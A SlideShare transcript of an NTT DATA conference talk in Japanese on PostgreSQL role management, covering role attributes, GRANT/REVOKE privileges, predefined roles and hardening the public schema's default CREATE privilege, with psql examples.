機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
 
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
 
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
 
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
 
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
 

Recently uploaded

実体験に基づく、成功するスクラム vs 失敗するスクラム 何が違う? 2024年6月22日
実体験に基づく、成功するスクラム vs 失敗するスクラム 何が違う? 2024年6月22日実体験に基づく、成功するスクラム vs 失敗するスクラム 何が違う? 2024年6月22日
実体験に基づく、成功するスクラム vs 失敗するスクラム 何が違う? 2024年6月22日
Hideo Kashioka
 
Kotest を使って 快適にテストを書こう - KotlinFest 2024
Kotest を使って 快適にテストを書こう - KotlinFest 2024Kotest を使って 快適にテストを書こう - KotlinFest 2024
Kotest を使って 快適にテストを書こう - KotlinFest 2024
Hirotaka Kawata
 
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDDなぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
ssuserfcafd1
 
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
Osaka University
 
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
Seiya Shimabukuro
 
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
ARISE analytics
 
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
Yuki Miyazaki
 
iMacwoSu_Gong_de_barabaranishitaHua_.pptx
iMacwoSu_Gong_de_barabaranishitaHua_.pptxiMacwoSu_Gong_de_barabaranishitaHua_.pptx
iMacwoSu_Gong_de_barabaranishitaHua_.pptx
kitamisetagayaxxx
 
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
sugiuralab
 
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
Osaka University
 
Microsoft Azureで生成AIを使ってみた話 2024/6/14の勉強会で発表されたものです。
Microsoft Azureで生成AIを使ってみた話 2024/6/14の勉強会で発表されたものです。Microsoft Azureで生成AIを使ってみた話 2024/6/14の勉強会で発表されたものです。
Microsoft Azureで生成AIを使ってみた話 2024/6/14の勉強会で発表されたものです。
iPride Co., Ltd.
 
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT vol112 発表資料)
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT  vol112 発表資料)ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT  vol112 発表資料)
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT vol112 発表資料)
Takuya Minagawa
 
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
Shinichi Hirauchi
 
一般社団法人OSGeo日本支部団体紹介用スライド2024年版。OSGeo日本支部とFOSS4Gの紹介
一般社団法人OSGeo日本支部団体紹介用スライド2024年版。OSGeo日本支部とFOSS4Gの紹介一般社団法人OSGeo日本支部団体紹介用スライド2024年版。OSGeo日本支部とFOSS4Gの紹介
一般社団法人OSGeo日本支部団体紹介用スライド2024年版。OSGeo日本支部とFOSS4Gの紹介
OSgeo Japan
 

Recently uploaded (14)

実体験に基づく、成功するスクラム vs 失敗するスクラム 何が違う? 2024年6月22日
実体験に基づく、成功するスクラム vs 失敗するスクラム 何が違う? 2024年6月22日実体験に基づく、成功するスクラム vs 失敗するスクラム 何が違う? 2024年6月22日
実体験に基づく、成功するスクラム vs 失敗するスクラム 何が違う? 2024年6月22日
 
Kotest を使って 快適にテストを書こう - KotlinFest 2024
Kotest を使って 快適にテストを書こう - KotlinFest 2024Kotest を使って 快適にテストを書こう - KotlinFest 2024
Kotest を使って 快適にテストを書こう - KotlinFest 2024
 
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDDなぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
 
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
 
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
 
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
 
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
 
iMacwoSu_Gong_de_barabaranishitaHua_.pptx
iMacwoSu_Gong_de_barabaranishitaHua_.pptxiMacwoSu_Gong_de_barabaranishitaHua_.pptx
iMacwoSu_Gong_de_barabaranishitaHua_.pptx
 
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
 
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
 
Microsoft Azureで生成AIを使ってみた話 2024/6/14の勉強会で発表されたものです。
Microsoft Azureで生成AIを使ってみた話 2024/6/14の勉強会で発表されたものです。Microsoft Azureで生成AIを使ってみた話 2024/6/14の勉強会で発表されたものです。
Microsoft Azureで生成AIを使ってみた話 2024/6/14の勉強会で発表されたものです。
 
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT vol112 発表資料)
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT  vol112 発表資料)ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT  vol112 発表資料)
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT vol112 発表資料)
 
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
 
一般社団法人OSGeo日本支部団体紹介用スライド2024年版。OSGeo日本支部とFOSS4Gの紹介
一般社団法人OSGeo日本支部団体紹介用スライド2024年版。OSGeo日本支部とFOSS4Gの紹介一般社団法人OSGeo日本支部団体紹介用スライド2024年版。OSGeo日本支部とFOSS4Gの紹介
一般社団法人OSGeo日本支部団体紹介用スライド2024年版。OSGeo日本支部とFOSS4Gの紹介
 

PostgreSQLのロール管理とその注意点(Open Source Conference 2022 Online/Osaka 発表資料)

  • 1. © 2022 NTT DATA Corporation PostgreSQLのロール管理とその注意点 2022年1月29日 Open Source Conference 2022 Online/Osaka 株式会社NTTデータ 技術開発本部 加藤 慎也
  • 2. © 2022 NTT DATA Corporation 2 自己紹介 • 名前 • 加藤 慎也 @ShinyaKato_ • 所属 • 株式会社NTTデータ 技術開発本部 • 業務 • PostgreSQLの研究開発やサポート業務に従事
  • 3. © 2022 NTT DATA Corporation 3 本講演について • 講演資料 • NTTデータのSlideShareアカウントで公開予定 • https://www.slideshare.net/nttdata-tech • 動作環境 • CentOS Stream 8.3 • PostgreSQL 14.0 • 一部開発中の機能を紹介しますが、正式リリースまでに変更になる場合があります • プロンプトの表記 • # :シェルのルートユーザのプロンプト • $ :シェルの一般ユーザのプロンプト • =# :psqlのスーパーユーザのプロンプト • => :psqlの一般ユーザのプロンプト
  • 4. © 2022 NTT DATA Corporation 4 目次 1. ロールとは? – ロールの概要 – ロールの属性 – 権限 – 定義済みロール 2. ロール管理の注意点とその対処法 – PUBLICロール – CREATEROLE権限強すぎ問題 3. まとめ
  • 5. © 2022 NTT DATA Corporation 5 PostgreSQL • オープンソースのRDBMS • 1年に1回のペースでメジャーバージョンアップが行われ、 最新バージョンはPostgreSQL 14 • BSDライセンスに類似したPostgreSQLライセンス
  • 6. © 2022 NTT DATA Corporation ロールの概要 6
  • 7. © 2022 NTT DATA Corporation 7 ロール(1/2) • インスタンスに対するアクセス権限の集まり • 属性と権限を持ち、それらによってDBへのアクセスを管理する • ユーザとロールを包含する概念 • 他の多くのRDBMSはユーザとロールは別物 • PostgreSQLでは、ユーザ=ロール+ログイン権限 • あるロールAを別のロールBに付与することで権限を継承できる • これを「ロールBはロールAのメンバ資格を持つ」と言う
  • 8. © 2022 NTT DATA Corporation 8 ロール(2/2) • CREATE ROLE/DROP ROLEでロールの作成/削除を行い、ALTER ROLEでロールの 変更を行う =# CREATE ROLE role1 LOGIN; CREATE ROLE =# ALTER ROLE role1 CREATEDB; ALTER ROLE =# DROP ROLE role1; DROP ROLE
  • 9. © 2022 NTT DATA Corporation 9 ログイン • ログイン権限を持つロールでデータベースにログインする • psqlでデータベースに接続時に-Uオプションでロールを指定、または psqlでデータベースに接続中にc(connect)を使用する $ psql -U postgres =# c - role1 You are now connected to database "postgres" as user "role1". =>
  • 10. © 2022 NTT DATA Corporation 10 SET ROLE(1/2) • 一時的に指定したロールを使用する • セッションユーザがメンバ資格を持つロールのみ使用できる • セッションユーザとは、セッションを開始したユーザ • スーパーユーザは任意のロールを使用可 • SET ROLE NONE/RESET ROLEで元のロールに戻る
  • 11. © 2022 NTT DATA Corporation 11 SET ROLE(2/2) =# SET ROLE role2; SET => SELECT SESSION_USER, CURRENT_USER; session_user | current_user --------------+-------------- postgres | role2 (1 row) => RESET ROLE; RESET =# SELECT SESSION_USER, CURRENT_USER; session_user | current_user --------------+-------------- postgres | postgres (1 row)
  • 12. © 2022 NTT DATA Corporation 12 ロールの情報の確認(du) • psqlのメタコマンドduで全てのロール、du role_nameでrole_nameの情報を確認 できる =# CREATE ROLE role2; CREATE ROLE =# du List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+---------- - postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} role2 | Cannot login | {} =# du role2 List of roles Role name | Attributes | Member of -----------+--------------+----------- role2 | Cannot login | {}
  • 13. © 2022 NTT DATA Corporation 13 ロールの情報の確認(pg_roles) • pg_rolesビューによりロールの情報を確認できる =# SELECT * FROM pg_roles WHERE rolname = 'role2'; -[ RECORD 1 ]--+--------- rolname | role2 rolsuper | f rolinherit | t rolcreaterole | f rolcreatedb | f rolcanlogin | f rolreplication | f rolconnlimit | -1 rolpassword | ******** rolvaliduntil | rolbypassrls | f rolconfig | oid | 40988
  • 14. © 2022 NTT DATA Corporation 14 ロールの情報の確認(その他:システムカタログ) • pg_authid • pg_auth_members • pg_db_role_setting • pg_init_privs • システムビュー • pg_group • pg_shadow • pg_user
  • 15. © 2022 NTT DATA Corporation 15 ロールの情報の確認(その他:情報スキーマ) • administrable_role_authorizations • applicable_roles • enabled_roles • role_column_grants • role_routine_grants • role_table_grants • role_udt_grants • role_usage_grants
  • 16. © 2022 NTT DATA Corporation 16 ロールの情報の確認(その他:システム情報関数) • セッション情報関数 • current_user • current_role • session_user • user • アクセス権限照会関数 • has_xxx_privilege • xxx = any_column、column、database、foreign_data_wrapper、function、language、 schema、sequence、server、table、tablespace、type • pg_has_role • row_security_active
  • 17. © 2022 NTT DATA Corporation ロールの属性 17
  • 18. © 2022 NTT DATA Corporation 18 ロールの属性 • 属性はCREATE ROLE、およびALTER ROLEで設定できる DBクラスタ #1 DBクラスタ #2 INHERIT ロールの権限を 継承する CREATEROLE ロールを作成する CREATEDB データベースを作成する SUPERUSER ログイン権限を除く 他の権限検査をパス LOGIN ログイン可能か PASSWORD パスワードの設定 REPLICATION レプリケーション接続 CONNECTION LIMIT 最大同時接続数の制限 BYPASSRLS 行セキュリティ ポリシーを無視する
  • 19. © 2022 NTT DATA Corporation 19 ログイン権限(1/2) • LOGIN属性を持つロールのみがデータベース接続のロールとして使用可能 =# CREATE ROLE role1 LOGIN; CREATE ROLE =# du role1 List of roles Role name | Attributes | Member of -----------+------------+----------- role1 | | {} =# c - role1 You are now connected to database "postgres" as user "role1". => LOGIN属性を持つ場合 何も表示されない
  • 20. © 2022 NTT DATA Corporation 20 ログイン権限(2/2) • CREATE USERでもロールの作成ができ、デフォルトでLOGIN属性を持つ =# CREATE USER role2; CREATE ROLE =# du role2 List of roles Role name | Attributes | Member of -----------+------------+----------- role2 | | {} =# c - role2 You are now connected to database "postgres" as user "role2". => LOGIN属性を持つ場合 何も表示されない
  • 21. © 2022 NTT DATA Corporation 21 スーパーユーザ状態 • スーパーユーザは、ログイン権限を除く他の権限検査は全て行われない • 危険な権限のため安易に使用せず、作業は非スーパーユーザで行うべき • スーパーユーザは、スーパーユーザのロールでのみ作成することができる =# CREATE ROLE role3 SUPERUSER; CREATE ROLE =# du role3 List of roles Role name | Attributes | Member of -----------+-------------------------+----------- role3 | Superuser, Cannot login | {}
  • 22. © 2022 NTT DATA Corporation 22 データベース作成 • (スーパーユーザを除き)データベースを作成するにはロールに明示的にデータベースを 作成するための権限を指定する必要がある =# CREATE ROLE role4 CREATEDB; CREATE ROLE =# du role4 List of roles Role name | Attributes | Member of -----------+-------------------------+----------- role4 | Create DB, Cannot login | {} =# SET ROLE role4; SET => CREATE DATABASE db; CREATE DATABASE
  • 23. © 2022 NTT DATA Corporation 23 ロールの作成 • (スーパーユーザを除き)あるロールがロールを作成するには明示的にロールを作成する ための権限を指定する必要がある =# CREATE ROLE role5 CREATEROLE; CREATE ROLE =# du role5 List of roles Role name | Attributes | Member of -----------+---------------------------+----------- role5 | Create role, Cannot login | {} =# SET ROLE role5; SET => CREATE ROLE role6; CREATE ROLE
  • 24. © 2022 NTT DATA Corporation 24 レプリケーションの新規接続 • (スーパーユーザを除き)あるロールがレプリケーションの新規接続を実施するには、 明示的に権限を付与する必要がある • レプリケーションを行うにはログイン権限を持っている必要がある • スーパーユーザのみREPLICATION属性を持つロールを作成できる =# CREATE ROLE role6 REPLICATION LOGIN; CREATE ROLE =# du role6 List of roles Role name | Attributes | Member of -----------+-------------+----------- role6 | Replication | {}
  • 25. © 2022 NTT DATA Corporation 25 パスワード • データベースに接続する際にパスワードを要求する場合に設定 • VALID UNTIL句でパスワードが無効になる日時を設定可能 • 省略された場合、パスワードは永遠に有効 • passwordコマンドでもパスワードの設定ができ、コマンド履歴やサーバログにパスワードが 出力されないため、passwordコマンドの使用が推奨される =# CREATE ROLE role7 PASSWORD 'string' VALID UNTIL '2022-01-29'; CREATE ROLE =# du role7 List of roles Role name | Attributes | Member of -----------+---------------------------------------------+----------- role7 | Cannot login +| {} | Password valid until 2022-01-29 00:00:00+09 |
  • 26. © 2022 NTT DATA Corporation 26 権限の継承 • ロールがそのロールが属するロールの権限を継承する場合に設定 • オプションを指定しない場合、デフォルトでINHERITを持つ =# CREATE ROLE role8 INHERIT; CREATE ROLE =# CREATE ROLE role9; CREATE ROLE =# du role8 List of roles Role name | Attributes | Member of -----------+--------------+----------- role8 | Cannot login | {} =# du role9 List of roles Role name | Attributes | Member of -----------+--------------+----------- role9 | Cannot login | {} 権限の継承の実行例は 後のスライドで INHERIT属性を持つ場合 何も表示されない
  • 27. © 2022 NTT DATA Corporation 27 行セキュリティポリシーの無視 • ロールが行セキュリティ(RLS)ポリシーを無視する場合に設定 • テーブルに対してロールが操作できる行を制限する仕組み • スーパーユーザのみBYPASSRLS属性を持つロールを作成できる =# CREATE ROLE role10 BYPASSRLS; CREATE ROLE =# du role10 List of roles Role name | Attributes | Member of -----------+--------------------------+----------- role10 | Cannot login, Bypass RLS | {}
  • 28. © 2022 NTT DATA Corporation 28 最大同時接続数の制限 • ロールがログイン可能である場合、そのロールが確立できる最大同時接続数を設定 • デフォルトは-1であり、これは無制限であることを意味する =# CREATE ROLE role11 LOGIN CONNECTION LIMIT 10; CREATE ROLE =# du role11 List of roles Role name | Attributes | Member of -----------+----------------+----------- role11 | 10 connections | {}
  • 29. © 2022 NTT DATA Corporation 29 ロールのデフォルトパラメータ(1/2) • ALTER ROLE SETで、ロールがログインするときのデフォルトパラメータを設定できる • ALTER ROLE RESETで、設定を削除できる • ログイン時のみパラメータが設定され、SET ROLE時にはパラメータは設定されない • IN DATABASE句を用いると、対象のデータベースを指定できる
  • 30. © 2022 NTT DATA Corporation 30 ロールのデフォルトパラメータ(2/2) =# ALTER ROLE role11 SET maintenance_work_mem = 100000; ALTER ROLE =# SHOW maintenance_work_mem; maintenance_work_mem ---------------------- 64MB (1 row) =# c - role11 You are now connected to database "postgres" as user "role11". => SHOW maintenance_work_mem; maintenance_work_mem ---------------------- 100000kB (1 row)
  • 31. © 2022 NTT DATA Corporation 権限 31
  • 32. © 2022 NTT DATA Corporation 32 データベースオブジェクトの所有者 • あるロールがCREATEコマンドを実行すると、そのロールを所有者とするオブジェクトが作成 される • 初期状態ではその所有者(またはスーパーユーザ)だけがそのオブジェクトを使用できる • publicスキーマを除く(後述) • 他のロールがそのオブジェクトを使用するには権限が付与されている必要がある
  • 33. © 2022 NTT DATA Corporation 33 データベースオブジェクトの権限(1/2) 権限 短縮形 適用可能なオブジェクトタイプ SELECT r (read) LARGE OBJECT、SEQUENCE、TABLE、テーブルの列 INSERT a (append) TABLE、テーブルの列 UPDATE w (write) LARGE OBJECT、SEQUENCE、TABLE、テーブルの列 DELETE d TABLE TRUNCATE D TABLE REFERENCES x TABLE、テーブルの列 TRIGGER t TABLE CREATE C DATABASE、SCHEMA、TABLESPACE CONNECT c DATABASE TEMPORARY T DATABASE EXECUTE X FUNCTION、PROCEDURE USAGE U DOMAIN、FOREIGN DATA WRAPPER、FOREIGN SERVER、 LANGUAGE、SCHEMA、SEQUENCE、TYPE
  • 34. © 2022 NTT DATA Corporation 34 データベースオブジェクトの権限(2/2) オブジェクトタイプ すべての権限 デフォルトPUBLIC権限 psqlコマンド DATABASE CTc Tc l DOMAIN U U dD+ FUNCTION or PROCEDURE X X df+ FOREIGN DATA WRAPPER U none dew+ FOREIGN SERVER U none des+ LANGUAGE U U dL+ LARGE OBJECT rw none SCHEMA UC none dn+ SEQUENCE rwU none dp TABLE(およびテーブルのようなオブジェクト) arwdDxt none dp テーブルの列 arwx none dp TABLESPACE C none db+ TYPE U U dT+
  • 35. © 2022 NTT DATA Corporation 35 権限の割り当て(1/2) • 権限の割り当てには、GRANTコマンドを用いる • 以下のような権限を割り当てる postgres スーパーユーザ role1 role2 sampleスキーマ 所有者postgres 全ての操作 CREATE権限 USAGE権限 全ての操作 sampleテーブル 所有者role1 SELECT権限
  • 36. © 2022 NTT DATA Corporation 36 権限の割り当て(2/2) =# CREATE SCHEMA sample; CREATE SCHEMA =# GRANT CREATE ON SCHEMA sample TO role1; GRANT =# GRANT USAGE ON SCHEMA sample TO role1; GRANT =# c - role1 You are now connected to database "postgres" as user "role1". => CREATE TABLE sample.sample (i INT); CREATE TABLE => GRANT SELECT ON TABLE sample.sample TO role2; GRANT
  • 37. © 2022 NTT DATA Corporation 37 権限の確認 => dn+ sample List of schemas Name | Owner | Access privileges | Description --------+----------+----------------------+------------- sample | postgres | postgres=UC/postgres+| | | role1=UC/postgres | (1 row) => dp sample.sample Access privileges Schema | Name | Type | Access privileges | Column privileges | Policies --------+--------+-------+---------------------+-------------------+---------- sample | sample | table | role1=arwdDxt/role1+| | | | | role2=r/role1 | | (1 row) role2のSELECT (r)権限は role1によってGRANTされた
  • 38. © 2022 NTT DATA Corporation 38 権限の継承(1/2) • ロールの持つ権限を、別のロールに与えることができる(これをメンバ資格という) • 権限を継承するにはINHERIT属性を持つ必要がある • 以下のような権限を割り当てる postgres スーパーユーザ role1 role2 sampleスキーマ 所有者postgres 全ての操作 全ての操作 sampleテーブル 所有者role1 全ての操作 継承 CREATE権限 USAGE権限
  • 39. © 2022 NTT DATA Corporation 39 => GRANT role1 to role2; GRANT ROLE => du role2 List of roles Role name | Attributes | Member of -----------+------------+----------- role2 | | {role1} => SET ROLE role2; SET => INSERT INTO sample.sample VALUES (1); INSERT 0 1 権限の継承(2/2) role1の全権限をrole2に 継承したのでINSERTできる
  • 40. © 2022 NTT DATA Corporation 40 権限の取り消し • 権限の取り消しには、REVOKEコマンドを用いる => REVOKE role1 FROM role2; REVOKE ROLE => du role2 List of roles Role name | Attributes | Member of -----------+------------+----------- role2 | | {} => REVOKE SELECT ON TABLE sample.sample FROM role2; REVOKE => dp sample.sample Access privileges Schema | Name | Type | Access privileges | Column privileges | Policies --------+--------+-------+---------------------+-------------------+---------- sample | sample | table | role1=arwdDxt/role1 | | (1 row)
  • 41. © 2022 NTT DATA Corporation 定義済みロール (旧デフォルトロール) 41
  • 42. © 2022 NTT DATA Corporation 42 定義済みロール(1/2) • 共通に必要かつ、特権の必要な機能や情報にアクセスするために使用 • 定義済みロールを任意のロールにGRANTすることでこの機能や情報を使用できる ロール 可能なアクセス pg_read_all_data すべてのデータ(テーブル、ビュー、シーケンス)を読み取る pg_write_all_data すべてのデータ(テーブル、ビュー、シーケンス)に書き込む pg_read_all_settings 全ての設定変数を読み取る pg_read_all_stats すべてのpg_stat_*ビューを読み取る pg_stat_scan_tables 潜在的に長時間、テーブルのACCESS SHAREロックを取得する可能性がある監視機 能を実行する pg_monitor 各種の監視ビューや機能を読み取り/実行する。 このロールは、pg_read_all_settings 、pg_read_all_statsおよびpg_stat_scan_tablesのメンバである
  • 43. © 2022 NTT DATA Corporation 43 定義済みロール(2/2) • 共通に必要かつ、特権の必要な機能や情報にアクセスするために使用 • 定義済みロールを任意のロールにGRANTすることでこの機能や情報を使用できる ロール 可能なアクセス pg_database_owner なし。メンバ資格は暗黙に現在のデータベースの所有者から構成される pg_signal_backend 他のバックエンドに問い合わせのキャンセルやセッションの終了のシグナルを送信する pg_read_server_files COPYやその他のファイルアクセス関数で、データベースがサーバ上でアクセスできる任意 の場所からファイルを読み取ることを許可する pg_write_server_files COPYやその他のファイルアクセス関数で、データベースがサーバ上でアクセスできる任意 の場所にファイルを書き込むことを許可する pg_execute_server_program COPYやサーバ側のプログラムを実行できるその他の関数で、データベースを実行してい るユーザとしてデータベースサーバ上でのプログラムの実行を許可する
  • 44. © 2022 NTT DATA Corporation 44 定義済みロール使用例(1/2) • 一般ロールrole1にパラメータshared_preload_librariesの読み取りを許可する => SELECT CURRENT_USER; current_user -------------- role1 (1 row) => du role1 List of roles Role name | Attributes | Member of -----------+------------+----------- role1 | | {} => SHOW shared_preload_libraries; ERROR: must be superuser or a member of pg_read_all_settings to examine "shared_preload_libraries" 一般ロールは shared_preload_libraries を読み取りできない
  • 45. © 2022 NTT DATA Corporation 45 定義済みロール使用例(2/2) • 一般ロールrole1にパラメータshared_preload_librariesの読み取りを許可する =# GRANT pg_read_all_settings TO role1; GRANT ROLE =# du role1 List of roles Role name | Attributes | Member of -----------+------------+------------------------ role1 | | {pg_read_all_settings} =# SET ROLE role1; SET => SHOW shared_preload_libraries; shared_preload_libraries -------------------------- (1 row) pg_read_all_settings メンバ資格があれば読み取れる
  • 46. © 2022 NTT DATA Corporation 46 目次 1. ロールとは? – ロールの概要 – ロールの属性 – 権限 – 定義済みロール 2. ロール管理の注意点とその対処法 – PUBLICロール – CREATEROLE権限強すぎ問題 3. まとめ
  • 47. © 2022 NTT DATA Corporation PUBLICロール 47
  • 48. © 2022 NTT DATA Corporation 48 publicスキーマとPUBLICロール • PostgreSQLはデフォルトでpublicという名前のスキーマ(publicスキーマ)を作成し、 そのスキーマへのCREATE権限、USAGE権限をPUBLICというバックエンドロール (PUBLICロール)に付与 • 全てのロールはデフォルトでPUBLICロールのメンバ資格を保持 • 全てのロールはpublicスキーマへのCREATE権限、USAGE権限を保持しており、 publicスキーマを使用する際には注意する必要がある!
  • 49. © 2022 NTT DATA Corporation 49 publicスキーマでのテーブルの作成 • 新規作成したrole1は暗黙的にPUBLICロールメンバ資格を保持するため、 publicスキーマにテーブルの作成が可能 • デフォルトの設定ではスキーマ名を指定しなければ、publicスキーマにオブジェクトが作成される =# CREATE ROLE role1; CREATE ROLE =# SET ROLE role1; SET => CREATE TABLE t1 (i INT); CREATE TABLE
  • 50. © 2022 NTT DATA Corporation 50 対処法(PostgreSQL 14まで) • 事前にPUBLICロールから不必要な権限をREVOKEしておく =# REVOKE CREATE ON SCHEMA public FROM PUBLIC; REVOKE =# SET ROLE role1; SET => CREATE TABLE t2 (i INT); ERROR: permission denied for schema public LINE 1: CREATE TABLE t2 (i INT);
  • 51. © 2022 NTT DATA Corporation 51 対処法(PostgreSQL 15) • デフォルトでpublicスキーマへのCREATE権限が割り当てられていないため対処不要 =# CREATE ROLE role2; CREATE ROLE =# SET ROLE role2; SET => CREATE TABLE t3 (i INT); ERROR: permission denied for schema public LINE 1: create table t3 (i INT);
  • 52. © 2022 NTT DATA Corporation CREATEROLE権限強すぎ問題 52
